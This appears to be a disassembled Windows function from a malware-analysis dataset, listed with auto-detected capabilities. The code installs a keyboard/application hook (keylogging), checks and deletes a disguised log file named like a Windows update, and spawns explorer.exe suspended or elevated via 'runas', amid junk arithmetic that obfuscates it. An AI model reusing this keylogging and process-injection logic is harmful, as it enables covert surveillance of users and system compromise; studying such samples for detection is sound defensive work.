Function at 0x4127c0
Capabilities:
Check if file exists
Create process on windows
Create process suspended
Delete file
Get common file path
Log keystrokes via application hook
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x108c
call fcn.00430d10
mov eax, dword [0x45f640]
xor eax, ebp
mov dword [esp + 0x1088], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 0x28], eax
mov eax, dword [0x45dbd8]
cdq
push ebx
mov dword [esp + 0x10], eax
mov eax, dword [0x45dbd4]
push esi
mov dword [esp + 0x18], edx
cdq
push edi
mov esi, eax
mov eax, dword [0x45dbcc]
push 2
mov edi, edx
cdq
push 0xbeb5aaf
push edx
push eax
mov dword [esp + 0x24], 0
call fcn.004305f0
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push 2
push 0xbeb5aaf
push ecx
push edx
mov ebx, eax
call fcn.004305f0
push 1
push 0xba7a7bcd
push edi
push esi
add ebx, eax
call fcn.004305f0
push 2
push 0x1b912b5c
push edi
push esi
sub ebx, eax
call fcn.004305f0
mov edi, dword [0x45dbe0]
add ebx, eax
mov eax, dword [0x45dbdc]
imul eax, eax, 0x6d4760f7
mov ecx, edi
imul ecx, ecx, 0x264da184
add ebx, eax
mov eax, dword [ebp + 8]
add ebx, ecx
cmp eax, 0x132db2c
push 2
mov dword [0x45dbc4], ebx
push 0xbeb5aaf
je 0x412921
mov esi, dword [0x45dbe8]
mov eax, esi
cdq
push edx
push eax
call fcn.004305f0
imul ebx, ebx, 0xf414a551
imul esi, esi, 0x1531b042
sub ebx, eax
mov ecx, dword [0x45dbe4]
mov eax, 0x9a168f41
imul ecx, ecx, 0x7d86eec7
mul dword [0x45dbd0]
shr edx, 0x1f
sub ebx, edx
mov eax, 0x45291d0f
imul dword [0x45dbd8]
sar edx, 0x1d
sub ebx, esi
mov eax, edx
add ebx, edx
shr eax, 0x1f
add eax, ebx
sub eax, ecx
lea edx, [eax + edi - 0x7672ee00]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x45dbd0], edx
mov esi, 0x64
jmp 0x412900
push 0x3e8
call edi
dec esi
jne 0x412900
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1088]
xor ecx, ebp
call fcn.0043040d
mov esp, ebp
pop ebp
ret
mov esi, dword [0x45dbd0]
mov eax, esi
cdq
push edx
push eax
call fcn.004305f0
mov edi, eax
mov eax, dword [0x45dbe4]
push 2
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
mov ecx, dword [0x45dbcc]
add edi, eax
mov eax, 0x1f64bb9f
mul ecx
imul ecx, ecx, 0x74f4f79a
mov eax, dword [0x45dbc8]
shr edx, 0x1c
imul eax, eax, 0x3903276d
sub edi, edx
mov edx, ebx
imul edx, edx, 0x7672ee00
sub edi, eax
mov eax, dword [section.fdgerw_c]
add edi, edx
add edi, ecx
test eax, eax
mov eax, edi
mov dword [0x45dbdc], edi
push 1
cdq
je 0x4129f7
push 0xc6fcd893
push edx
push eax
call fcn.004305f0
mov ecx, dword [0x45dbe0]
mov edi, eax
mov eax, 0x1f64bb9f
mul ecx
imul ecx, ecx, 0x3053d3f1
shr edx, 0x1c
sub edi, edx
mov eax, 0x2d0ae8c5
mul esi
sub esi, edx
shr esi, 1
add esi, edx
mov eax, 0x45291d0f
imul dword [0x45dbe4]
mov eax, dword [0x45dbd8]
shr esi, 0x1f
imul eax, eax, 0x7672ee00
add edi, esi
add edi, ecx
sar edx, 0x1d
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
add ecx, eax
mov dword [0x45dbc8], ecx
jmp 0x4138df
push 0x388a7f11
mov esi, eax
push edx
push esi
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], edx
call fcn.004305f0
mov edx, dword [esp + 0x2c]
push 2
push 0x1b912b5c
push edx
push esi
mov dword [esp + 0x20], eax
call fcn.004305f0
mov ecx, dword [esp + 0x10]
mov esi, dword [0x45dbe8]
sub eax, ecx
mov ecx, esi
imul ecx, ecx, 0x1b912b5c
mov edx, ebx
imul edx, edx, 0x4f22272
add eax, ecx
add edx, dword [0x45dbe4]
mov ecx, dword [0x45dbc8]
imul ecx, ecx, 0x264da184
add edx, eax
lea edx, [ecx + edx + 0x7672ee00]
mov dword [0x45dbd4], edx
push 1
mov eax, esi
cdq
push 0xba7a7bcd
push edx
push eax
call fcn.004305f0
mov ecx, dword [0x45dbd0]
mov esi, eax
mov eax, dword [0x45dbd4]
sub eax, ecx
imul eax, eax, 0x2b57abfe
add esi, eax
mov eax, 0x9a168f41
mul ecx
mov eax, dword [0x45dbc8]
mov ecx, eax
imul ecx, ecx, 0x1531b042
shr edx, 0x1f
sub esi, edx
mov edx, dword [0x45dbd8]
sub esi, ecx
imul edx, edx, 0x3903276d
mov ecx, dword [0x45dbcc]
imul ecx, ecx, 0x7672ee00
sub esi, edx
sub esi, ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
mov dword [0x45dbe0], esi
jg 0x412c29
mov ecx, dword [esp + 0x34]
test ecx, ecx
je 0x412c29
lea edx, [ecx + 1]
mov dword [esp + 0x10], edx
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x412ae5
sub ecx, dword [esp + 0x10]
mov dword [esp + 0x10], ecx
je 0x412c29
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov dword [esp + 0x10], eax
push 1
mov eax, esi
cdq
push 0xba7a7bcd
push edx
push eax
call fcn.004305f0
mov ecx, dword [esp + 0x10]
add ecx, eax
mov eax, 0x1f64bb9f
mul dword [0x45dbd0]
mov eax, dword [esp + 0x1c]
push 2
shr edx, 0x1c
push 0xbeb5aaf
sub ecx, edx
mov edx, dword [esp + 0x20]
push eax
push edx
mov dword [esp + 0x20], ecx
call fcn.004305f0
imul ebx, ebx, 0x1531b042
mov ecx, dword [esp + 0x10]
sub ecx, eax
mov eax, 0x9a168f41
mul edi
shr edx, 0x1f
add ecx, edx
mov eax, 0x45291d0f
imul dword [0x45dbd4]
sar edx, 0x1d
sub ecx, ebx
mov eax, edx
add ecx, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [esp + 0x34]
push ecx
push 0
mov dword [0x45dbcc], eax
call fcn.0040ed60
add esp, 8
test eax, eax
mov dword [esp + 0x10], eax
jle 0x41371a
mov eax, dword [0x45dbe4]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov esi, eax
mov eax, dword [0x45dbd0]
push 0xfffffffffffffffe
cdq
push 0x45858433
push edx
push eax
call fcn.004305f0
mov edi, eax
mov eax, dword [0x45dbcc]
push 2
cdq
push 0x1b912b5c
push edx
push eax
sub edi, esi
call fcn.004305f0
mov ecx, dword [0x45dbd8]
add edi, eax
mov eax, 0x9a168f41
mul dword [0x45dbc4]
mov eax, dword [0x45dbd4]
shr edx, 0x1f
add edi, edx
mov esi, dword [0x45dbe0]
mov edx, ecx
imul edx, edx, 0x1b912b5c
sub edi, edx
mov edx, eax
imul edx, edx, 0x7114fe22
add edi, edx
mov dword [0x45dbe4], edi
mov edi, dword [0x45dbdc]
jmp 0x412cab
push 2
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
mov ecx, dword [0x45dbd8]
mov edx, dword [esp + 0x1c]
mov ebx, eax
mov eax, dword [0x45dbd0]
add eax, ecx
imul eax, eax, 0x264da184
push 1
push 0xc6fcd893
sub ebx, eax
mov eax, dword [esp + 0x20]
push edx
push eax
call fcn.004305f0
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
push 1
push 0x388a7f11
push ecx
push edx
sub ebx, eax
call fcn.004305f0
mov ecx, dword [0x45dbd8]
sub ebx, eax
mov eax, ecx
imul eax, eax, 0x1b912b5c
add ebx, eax
mov eax, dword [0x45dbd4]
mov edx, eax
imul edx, edx, 0x7672ee00
sub ebx, edx
mov edx, dword [ebp + 0x10]
mov dword [0x45dbe8], ebx
mov dword [esp + 0x10], edx
cdq
mov dword [esp + 0x20], eax
push 2
mov eax, ecx
mov dword [esp + 0x28], edx
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov ebx, eax
mov eax, dword [0x45dbcc]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov ecx, dword [esp + 0x20]
push 1
add ebx, eax
mov eax, dword [esp + 0x28]
push 0xba7a7bcd
push eax
push ecx
call fcn.004305f0
mov edx, dword [esp + 0x24]
push 2
push 0x1b912b5c
sub ebx, eax
mov eax, dword [esp + 0x28]
push edx
push eax
call fcn.004305f0
imul edi, edi, 0x6d4760f7
imul esi, esi, 0x264da184
add ebx, eax
add ebx, edi
add ebx, esi
push str.c:WINDoWSKB5445243.log
mov dword [0x45dbc4], ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [0x45dbdc]
push 1
cdq
push 0xc6fcd893
push edx
push eax
call fcn.004305f0
mov esi, dword [0x45dbe0]
mov ecx, dword [0x45dbd0]
mov edi, eax
mov eax, 0x1f64bb9f
mul esi
imul esi, esi, 0x3053d3f1
shr edx, 0x1c
sub edi, edx
mov eax, 0x2d0ae8c5
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 0x1f
add edi, ecx
mov ecx, dword [0x45dbe4]
mov eax, 0x45291d0f
imul ecx
mov eax, dword [esp + 0x10]
sar edx, 0x1d
add edi, esi
add edi, edx
mov ecx, edx
mov edx, dword [0x45dbd8]
imul edx, edx, 0x7672ee00
shr ecx, 0x1f
add ecx, edi
add ecx, edx
mov dword [0x45dbc8], ecx
mov ecx, dword [0x5717ec]
push eax
push ecx
mov edx, dword [ebp + 0xc]
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push edx
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
push 2
mov dword [section.fdgerw_c], eax
push 0xbeb5aaf
je 0x4137b4
mov edi, dword [0x45dbe8]
mov eax, edi
cdq
push edx
push eax
call fcn.004305f0
mov esi, dword [0x45dbc4]
mov ecx, esi
imul ecx, ecx, 0xf414a551
sub ecx, eax
mov eax, 0x9a168f41
mul dword [0x45dbd0]
shr edx, 0x1f
sub ecx, edx
mov ebx, dword [0x45dbe4]
mov edx, edi
imul edx, edx, 0x1531b042
sub ecx, edx
mov eax, 0x45291d0f
imul dword [0x45dbd8]
sar edx, 0x1d
add ecx, edx
mov eax, edx
mov edx, dword [0x45dbe0]
shr eax, 0x1f
add eax, ecx
mov ecx, ebx
imul ecx, ecx, 0x7d86eec7
sub eax, ecx
lea eax, [eax + edx - 0x7672ee00]
mov dword [0x45dbd0], eax
mov dword [0x5717f0], 1
mov dword [esp + 0x10], 0
jmp 0x412e70
mov esi, dword [0x45dbc4]
mov ebx, dword [0x45dbe4]
mov edi, dword [0x45dbe8]
jmp 0x412e70
push 2
mov eax, edi
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
imul esi, esi, 0xf414a551
imul edi, edi, 0x1531b042
sub esi, eax
imul ebx, ebx, 0x7d86eec7
mov eax, 0x9a168f41
mul dword [0x45dbd0]
shr edx, 0x1f
sub esi, edx
mov eax, 0x45291d0f
imul dword [0x45dbd8]
sar edx, 0x1d
mov ecx, edx
sub esi, edi
shr ecx, 0x1f
add esi, edx
mov edx, dword [0x45dbe0]
add ecx, esi
sub ecx, ebx
lea eax, [ecx + edx - 0x7672ee00]
push str.c:WINDoWSKB5445243.log
mov dword [0x45dbd0], eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x412efe
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x12c
mov dword [esp + 0x10], eax
jl 0x412e59
mov eax, dword [0x45dbe0]
push 1
cdq
push 0x388a7f11
push edx
push eax
call fcn.004305f0
mov ebx, dword [0x45dbc8]
mov esi, eax
push 2
mov eax, ebx
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
sub esi, eax
mov eax, dword [0x45dbc4]
push 1
cdq
push 0xeace4fbe
push edx
push eax
call fcn.004305f0
mov ecx, dword [0x45dbe8]
add esi, eax
mov edi, dword [0x45dbcc]
mov eax, 0x2d0ae8c5
mul ecx
mov eax, ecx
imul ecx, ecx, 0x7672ee00
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0x1f
add esi, eax
mov edx, edi
imul edx, edx, 0x388a7f11
mov eax, ebx
imul eax, eax, 0x1b912b5c
sub esi, edx
add esi, eax
mov eax, dword [esp + 0x10]
sub esi, ecx
cmp eax, 0x12c
mov dword [0x45dbd8], esi
jl 0x413852
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x413852
mov eax, dword [0x45dbd0]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov esi, eax
mov eax, dword [0x45dbe4]
push 2
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
imul ebx, ebx, 0x3903276d
add esi, eax
mov eax, 0x1f64bb9f
mul edi
imul edi, edi, 0x74f4f79a
mov eax, dword [0x45dbc4]
imul eax, eax, 0x7672ee00
shr edx, 0x1c
sub esi, edx
sub esi, ebx
add esi, eax
push 0x800
lea ecx, [esp + 0x94]
add esi, edi
push ecx
mov dword [0x45dbdc], esi
mov dword [esp + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov eax, dword [0x45dbe8]
push 1
cdq
push 0xba7a7bcd
push edx
push eax
call fcn.004305f0
mov ecx, dword [0x45dbd0]
mov edx, dword [0x45dbd4]
sub edx, ecx
imul edx, edx, 0x2b57abfe
mov esi, eax
add esi, edx
mov eax, 0x9a168f41
mul ecx
mov eax, dword [0x45dbc8]
mov ecx, dword [0x45dbd8]
imul eax, eax, 0x1531b042
shr edx, 0x1f
imul ecx, ecx, 0x3903276d
sub esi, edx
mov edx, dword [0x45dbcc]
imul edx, edx, 0x7672ee00
sub esi, eax
lea eax, [esp + 0x90]
push eax
sub esi, ecx
lea ecx, [esp + 0x894]
sub esi, edx
push str._sexplorer.exe
push ecx
mov dword [0x45dbe0], esi
call fcn.0043069a
lea edx, [esp + 0x89c]
push 0
push edx
call fcn.00430a3d
add esp, 0x14
cmp eax, 0xffffffff
je 0x41360e
mov eax, dword [0x45dbe4]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov esi, eax
mov eax, dword [0x45dbd0]
push 0xfffffffffffffffe
cdq
push 0x45858433
push edx
push eax
call fcn.004305f0
mov edi, eax
mov eax, dword [0x45dbcc]
push 2
cdq
push 0x1b912b5c
push edx
push eax
sub edi, esi
call fcn.004305f0
mov ecx, dword [0x45dbd4]
add edi, eax
imul ecx, ecx, 0x7114fe22
mov eax, 0x9a168f41
mul dword [0x45dbc4]
mov eax, dword [0x45dbd8]
imul eax, eax, 0x1b912b5c
shr edx, 0x1f
add edi, edx
sub edi, eax
add edi, ecx
push str.explorer.exe
mov dword [0x45dbe4], edi
call fcn.00406400
mov esi, dword [0x45dbdc]
add esp, 4
push 0xfffffffffffffffe
mov eax, esi
cdq
push 0xc77580ef
push edx
push eax
call fcn.004305f0
mov edi, dword [0x45dbd8]
mov edx, dword [0x45dbd0]
add edx, edi
imul edx, edx, 0x264da184
mov ebx, eax
mov eax, dword [0x45dbc8]
push 2
sub ebx, edx
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
add ebx, eax
push 1
mov eax, edi
cdq
push 0xc6fcd893
push edx
push eax
call fcn.004305f0
mov ecx, dword [0x45dbd4]
sub ebx, eax
imul ecx, ecx, 0x7672ee00
mov eax, edi
imul eax, eax, 0x1b912b5c
add ebx, eax
sub ebx, ecx
mov dword [0x45dbe8], ebx
mov dword [esp + 0x10], 5
jmp 0x4131c0
mov esi, dword [0x45dbdc]
mov edi, dword [0x45dbd8]
mov eax, dword [0x45dbd4]
cdq
mov ebx, eax
push 2
mov dword [esp + 0x28], edx
mov eax, edi
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov edi, eax
mov eax, dword [0x45dbcc]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov edx, dword [esp + 0x24]
push 1
push 0xba7a7bcd
push edx
push ebx
add edi, eax
call fcn.004305f0
push 2
sub edi, eax
mov eax, dword [esp + 0x28]
push 0x1b912b5c
push eax
push ebx
call fcn.004305f0
imul esi, esi, 0x6d4760f7
mov ecx, dword [0x45dbe0]
imul ecx, ecx, 0x264da184
add edi, eax
add edi, esi
add edi, ecx
push str.explorer.exe
mov dword [0x45dbc4], edi
call fcn.00405e00
add esp, 4
test eax, eax
jg 0x413584
mov eax, dword [0x45dbdc]
push 1
cdq
push 0xc6fcd893
push edx
push eax
call fcn.004305f0
mov ebx, dword [0x45dbe0]
mov ecx, dword [0x45dbd0]
mov edi, eax
mov eax, 0x1f64bb9f
mul ebx
shr edx, 0x1c
sub edi, edx
mov eax, 0x2d0ae8c5
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
mov edx, ebx
imul edx, edx, 0x3053d3f1
shr ecx, 0x1f
add edi, ecx
add edi, edx
mov eax, 0x45291d0f
imul dword [0x45dbe4]
mov eax, dword [0x45dbd8]
imul eax, eax, 0x7672ee00
sar edx, 0x1d
mov esi, edx
add edi, edx
shr esi, 0x1f
add esi, edi
add esi, eax
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x38]
rep stosd dword es:[edi], eax
push 2
mov eax, esi
cdq
push 0xbeb5aaf
push edx
push eax
mov dword [0x45dbc8], esi
mov dword [esp + 0x48], 0x44
call fcn.004305f0
mov edi, eax
mov eax, dword [0x45dbd8]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
sub edi, eax
push 1
mov eax, ebx
cdq
push 0xba7a7bcd
push edx
push eax
call fcn.004305f0
mov esi, dword [0x45dbc4]
add edi, eax
mov eax, 0x1f64bb9f
mul dword [0x45dbd0]
shr edx, 0x1c
sub edi, edx
mov eax, 0x9a168f41
mul dword [0x45dbdc]
mov ecx, esi
imul ecx, ecx, 0x1531b042
shr edx, 0x1f
add edi, edx
sub edi, ecx
mov ecx, dword [0x45dbd4]
mov eax, 0x45291d0f
imul ecx
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov edi, dword [0x45dbe8]
mov dword [0x45dbcc], eax
push 2
mov eax, edi
cdq
push 0xbeb5aaf
push edx
push eax
mov dword [esp + 0x74], 1
mov word [esp + 0x78], 5
call fcn.004305f0
imul esi, esi, 0xf414a551
imul edi, edi, 0x1531b042
sub esi, eax
mov eax, 0x9a168f41
mul dword [0x45dbd0]
shr edx, 0x1f
sub esi, edx
mov eax, 0x45291d0f
imul dword [0x45dbd8]
mov eax, dword [0x45dbe4]
imul eax, eax, 0x7d86eec7
sar edx, 0x1d
mov ecx, edx
shr ecx, 0x1f
sub esi, edi
add esi, edx
add ecx, esi
sub ecx, eax
lea edx, [ecx + ebx - 0x7672ee00]
lea eax, [esp + 0x80]
push eax
lea ecx, [esp + 0x3c]
push ecx
mov dword [0x45dbd0], edx
lea edx, [esp + 0x98]
push edx
push 0
push 0x20
push 0
push 0
push 0
lea eax, [esp + 0x8b0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
push 1
push 0x388a7f11
je 0x413477
mov eax, dword [0x45dbdc]
cdq
mov edi, edx
mov esi, eax
push edi
push esi
call fcn.004305f0
push 2
push 0x1b912b5c
push edi
push esi
mov ebx, eax
call fcn.004305f0
mov ecx, dword [0x45dbe8]
mov edx, dword [0x45dbc4]
imul ecx, ecx, 0x1b912b5c
mov edi, dword [0x45dbe4]
imul edx, edx, 0x4f22272
sub eax, ebx
add eax, ecx
mov ecx, dword [0x45dbc8]
imul ecx, ecx, 0x264da184
add edx, edi
add edx, eax
lea esi, [ecx + edx + 0x7672ee00]
mov dword [0x45dbd4], esi
jmp 0x41358a
mov eax, dword [0x45dbe0]
cdq
push edx
push eax
call fcn.004305f0
mov esi, dword [0x45dbc8]
mov edi, eax
push 2
mov eax, esi
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
sub edi, eax
mov eax, dword [0x45dbc4]
push 1
cdq
push 0xeace4fbe
push edx
push eax
call fcn.004305f0
imul esi, esi, 0x1b912b5c
mov ecx, dword [0x45dbe8]
add edi, eax
mov eax, 0x2d0ae8c5
mul ecx
mov eax, ecx
imul ecx, ecx, 0x7672ee00
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [0x45dbcc]
imul edx, edx, 0x388a7f11
shr eax, 0x1f
add edi, eax
push 1
sub edi, edx
lea eax, [esp + 0x94]
push eax
add edi, esi
sub edi, ecx
push 0
lea ecx, [esp + 0x89c]
push ecx
push str.runas
push 0
mov dword [0x45dbd8], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x4136ac
mov eax, dword [0x45dbd0]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov esi, eax
mov eax, dword [0x45dbe4]
push 2
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
mov ecx, dword [0x45dbcc]
add esi, eax
mov eax, 0x1f64bb9f
mul ecx
imul ecx, ecx, 0x74f4f79a
mov eax, dword [0x45dbc4]
shr edx, 0x1c
imul eax, eax, 0x7672ee00
sub esi, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x3903276d
sub esi, edx
add esi, eax
add esi, ecx
mov dword [0x45dbdc], esi
mov esi, dword [0x45dbd4]
mov eax, dword [0x45dbe4]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov edi, eax
mov eax, dword [0x45dbd0]
push 0xfffffffffffffffe
cdq
push 0x45858433
push edx
push eax
call fcn.004305f0
mov ebx, eax
mov eax, dword [0x45dbcc]
push 2
cdq
push 0x1b912b5c
push edx
push eax
sub ebx, edi
call fcn.004305f0
imul esi, esi, 0x7114fe22
add ebx, eax
mov eax, 0x9a168f41
mul dword [0x45dbc4]
mov eax, dword [0x45dbd8]
imul eax, eax, 0x1b912b5c
shr edx, 0x1f
add ebx, edx
sub ebx, eax
add ebx, esi
push 0x3e8
mov dword [0x45dbe4], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0x10]
jne 0x4131b4
mov edi, dword [0x45dbdc]
mov ebx, dword [0x45dbd8]
mov eax, edi
cdq
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], edx
mov eax, ebx
cdq
mov dword [esp + 0x18], eax
mov eax, dword [0x45dbc8]
push 2
mov dword [esp + 0x20], edx
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
mov esi, eax
mov eax, dword [0x45dbd0]
add eax, ebx
imul eax, eax, 0x264da184
push 1
push 0xc6fcd893
push ecx
push edx
sub esi, eax
call fcn.004305f0
mov ecx, dword [esp + 0x28]
push 1
sub esi, eax
mov eax, dword [esp + 0x30]
push 0x388a7f11
push eax
push ecx
call fcn.004305f0
imul ebx, ebx, 0x1b912b5c
mov edx, dword [0x45dbd4]
imul edx, edx, 0x7672ee00
sub esi, eax
add esi, ebx
mov ebx, dword [0x45dbc4]
sub esi, edx
mov dword [0x45dbe8], esi
jmp 0x412a62
mov eax, dword [0x45dbe8]
push 1
cdq
push 0xba7a7bcd
push edx
push eax
call fcn.004305f0
mov esi, dword [0x45dbd4]
mov ecx, dword [0x45dbd0]
mov edx, esi
sub edx, ecx
imul edx, edx, 0x2b57abfe
mov edi, eax
add edi, edx
mov eax, 0x9a168f41
mul ecx
mov eax, dword [0x45dbc8]
mov ecx, dword [0x45dbd8]
imul eax, eax, 0x1531b042
shr edx, 0x1f
imul ecx, ecx, 0x3903276d
sub edi, edx
mov edx, dword [0x45dbcc]
imul edx, edx, 0x7672ee00
sub edi, eax
sub edi, ecx
sub edi, edx
mov dword [0x45dbe0], edi
jmp 0x41358a
mov eax, dword [0x45dbe0]
push 1
cdq
push 0x388a7f11
push edx
push eax
call fcn.004305f0
mov esi, dword [0x45dbc8]
mov edi, eax
push 2
mov eax, esi
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
sub edi, eax
mov eax, dword [0x45dbc4]
push 1
cdq
push 0xeace4fbe
push edx
push eax
call fcn.004305f0
imul esi, esi, 0x1b912b5c
mov ecx, dword [0x45dbe8]
add edi, eax
mov eax, 0x2d0ae8c5
mul ecx
mov eax, ecx
imul ecx, ecx, 0x7672ee00
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [0x45dbcc]
imul edx, edx, 0x388a7f11
shr eax, 0x1f
add edi, eax
sub edi, edx
add edi, esi
sub edi, ecx
mov dword [0x45dbd8], edi
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1088]
xor ecx, ebp
call fcn.0043040d
mov esp, ebp
pop ebp
ret
mov eax, dword [0x45dbc8]
cdq
push edx
push eax
call fcn.004305f0
mov esi, eax
mov eax, dword [0x45dbd8]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
sub esi, eax
mov eax, dword [0x45dbe0]
push 1
cdq
push 0xba7a7bcd
push edx
push eax
call fcn.004305f0
add esi, eax
mov eax, 0x1f64bb9f
mul dword [0x45dbd0]
mov ecx, dword [0x45dbd4]
shr edx, 0x1c
sub esi, edx
mov eax, 0x9a168f41
mul dword [0x45dbdc]
mov eax, dword [0x45dbc4]
imul eax, eax, 0x1531b042
shr edx, 0x1f
add esi, edx
sub esi, eax
mov eax, 0x45291d0f
imul ecx
sar edx, 0x1d
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
mov dword [0x45dbcc], ecx
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1088]
xor ecx, ebp
call fcn.0043040d
mov esp, ebp
pop ebp
ret
mov eax, dword [0x45dbd4]
cdq
mov ebx, eax
push 2
mov dword [esp + 0x28], edx
mov eax, esi
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov dword [esp + 0x14], eax
push 2
mov eax, edi
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov ecx, dword [esp + 0x14]
mov esi, dword [esp + 0x24]
push 1
push 0xba7a7bcd
push esi
add ecx, eax
push ebx
mov dword [esp + 0x24], ecx
call fcn.004305f0
mov ecx, dword [esp + 0x14]
push 2
push 0x1b912b5c
push esi
sub ecx, eax
push ebx
mov dword [esp + 0x24], ecx
call fcn.004305f0
mov ecx, dword [esp + 0x14]
mov edx, dword [0x45dbdc]
add ecx, eax
imul edx, edx, 0x6d4760f7
mov eax, dword [0x45dbe0]
imul eax, eax, 0x264da184
add ecx, edx
add ecx, eax
mov dword [0x45dbc4], ecx
mov ecx, dword [esp + 0x1094]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0043040d
mov esp, ebp
pop ebp
ret